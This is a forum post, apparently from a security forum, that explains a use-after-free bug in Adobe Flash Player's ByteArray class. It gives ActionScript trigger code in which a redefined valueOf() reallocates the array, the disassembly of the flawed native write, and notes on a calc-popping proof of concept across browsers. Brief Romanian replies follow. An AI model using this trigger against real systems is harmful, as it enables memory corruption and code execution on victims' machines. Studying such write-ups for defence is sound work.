Adobe Flash Player Exploit - UAF in ByteArray class

Recommended Posts

Posted

The use-after-free vulnerability exists inside the built-in ByteArray class

ByteArray - Adobe ActionScript® 3 (AS3 ) API Reference

Let's create a simple ByteArray object:

    var ba:ByteArray = new ByteArray();
ba.length = 8;
ba[1] = 1;

Now we can access ba[] items and write numeric byte values into ba[].

Also we are allowed to write objects into ByteArray. For example:

  var obj = new MyClass();
ba[0] = obj;

AS3 will try to implicitly convert the MyClass object into numeric value by

calling the MyClass.valueOf() method. This method can be easily redefined

within the user's code:

    class MyClass
{
prototype.valueOf = function()
{
ba.length = 88; // reallocate ba[] storage
return 0; // return byte for ba[offset]
}
}

Let's see how that implicit conversion occurs inside the native code:

push esi
mov eax, [esp+8] // the offset value from "ba[offset] = obj"
push eax
add ecx, 0x18 // ecx = this = "ba" object pointer
call ByteArray.getStorage() // gets ba[offset] storage pointer and
mov esi, eax // saves it in esi

mov ecx, [esp+0xC] // "obj" pointer
push ecx
call AvmCore.toInteger() // call MyClass.valueOf()
add esp,4
mov [esi], al // writes returned byte into array

pop esi
ret 8

On high-level language this will look like:

   void ByteArray.setObjInternal(int offset, obj)
{
byte* dest = this.getStorage(offset);
dest* = toInteger(obj);
}

So the array storage pointer is saved in local variable, then AS3 valueOf() is

invoked from the native code and returned byte is written into destination

pointer at the end. If valueOf() changes the length of byte array (see above)

and reallocates its internal storage, then local destination pointer becomes

obsolete and further usage of that pointer can lead to UaF memory corruption.

Using this vulnerability, it's very easy to control what byte will be written

and at which offset this corruption will occur.

Affected: Adobe Flash Player 9 and higher

Testing:

Open the test "calc.htm" file in your browser and press the button.

on Windows:

Calc.exe should be popped on desktop IE.

Calc.exe should be run as a non-GUI child process in metro IE.

Payload returns 0 from CreateProcessA("calc.exe") inside Chrome/FF sandbox.

on OS X:

Calculator is launched in FF or standalone Flash Player projector.

Payload returns 1 from vfork() in Safari sandbox.

ma bag si eu ca musca in lapte, cum sau unde pun fisierul calc.exe?

Rulat in chrome imi da asta Untitled.png

deschide cu IE ca sa vezi "unde pui calc.exe"

le: ti-ai facut deja update la flash

le2: ai pm ca sa nu stricam threadul
